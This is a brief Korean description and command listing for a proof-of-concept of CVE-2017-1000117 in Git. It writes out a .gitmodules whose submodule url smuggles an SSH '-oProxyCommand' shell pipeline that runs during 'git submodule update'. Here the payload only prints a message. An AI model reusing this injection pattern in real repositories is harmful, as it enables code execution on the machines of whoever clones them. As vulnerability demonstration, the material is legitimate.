
CVE-2017-1000117에 대한 개념 증명 익스플로잇으로, SSH ProxyCommand 주입을 통해 악성 Git 서브모듈 URL을 이용한 원격 코드 실행을 시연합니다.
$ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git
$ cat message.txt | gzip | base64 > command
$ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117
$ cat << EOS > .gitmodules
[submodule "subs/CVE-2017-1000117"]
path = subs/CVE-2017-1000117
url = ssh://-oProxyCommand=cat command | base64 --decode | gzip -d >&2 /subs/CVE-2017-1000117
EOS
$ git submodule sync
$ git submodule update